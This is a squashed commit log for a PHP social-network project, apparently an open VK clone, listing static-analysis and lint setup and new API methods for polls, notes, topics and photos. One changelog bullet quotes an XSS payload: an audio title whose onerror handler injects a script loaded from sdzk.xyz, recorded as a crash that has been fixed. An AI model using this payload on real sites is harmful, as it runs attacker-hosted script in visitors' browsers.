* feat: add phpstan for static analysis
* ci(actions): add phpstan action
* ci(actions): do analysing inside docker container
* fix(FetchToncoinTransactions): add var declaration
* fix(ServiceAPI/Wall): add var declaration
* fix(bootstrap): remove case-insensitive false vars
* fix(VKAPI/Handlers/Board): change parameters order
* fix(VKAPIRequestHandler): set fail's return type as never
* fix(VKAPI/Handlers/Groups): add array declaration
* fix(VKAPI/Handlers/Newsfeed): add return_banned declaration
* fix(VKAPI/Handlers/Notes): move $nodez declaration up
* fix(phpstan): most of the things and stupid lines of code
* fix(lint)
* fix(phpstan): less errors
* fix(lint): again. cuz i forgot about it
* fix(stan): all errors are gone now =3
---------
Co-authored-by: veselcraft <veselcraft@icloud.com>
* feat(lint): add php-cs-fixer for linting
Removing previous CODE_STYLE as it was not enforced anyway and using PER-CS 2.0.
This is not the reformatting commit.
* style: format code according to PER-CS 2.0 with php-cs-fixer
* ci(actions): add lint action
Resolves#1132.
- Теперь опросы прикрепляются через апи нормально
- Через wall.edit теперь можно прикреплят новые аудио
- При закрытии messagebox снова включается возможность скроллить
- Через методы редактирования можно теперь прикреплять чужие хуйни
- Удалены методы notes.deleteComment и notes.editComment, ведь они одинаковы с wall.deleteComment и wall.editComment
- Лайки у видеозаписей теперь быстрее, ведь не прогружают новую страницу (в отличии от лайков на посте)
- Название "<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"" больше не вызывает краш оконного плеера
* Add API for notifications
* Add editing methods
* Add apis for likes and polls
* Add attaching polls
* can_edit
* Fix getting voters in anonymous posts and use c...
...anBeEditedBy instead of checking user's id
* API methods for gifts, notes, statuses
* Some fixes
Строки локализации у gifts.send теперь не костыльные и можно прикрепить до 10 аттачей к посту
* Small imp
Пофиксил пагинацию у заметков и подарок
Перенёс структуру заметок
Добавил аттачи к комментариям
Добавил проверку на удалённость аттача
Ну и пофиксил сортировку заметок
* VKAPI: Some methods for topics and photos
Добавлены методы для обсуждений (addTopic, closeTopic(), createComment(), deleteComment(), deleteTopic(), editTopic(), fixTopic(), getComments(), getTopics(), openTopic(), unfixTopic())
и для фотографий (createAlbum(), editAlbum(), getAlbums(), getAlbumsCount(), getById(), get(), deleteAlbum(), edit(), delete(), deleteComment(), createComment(), getAll(), getComments())
* fixsex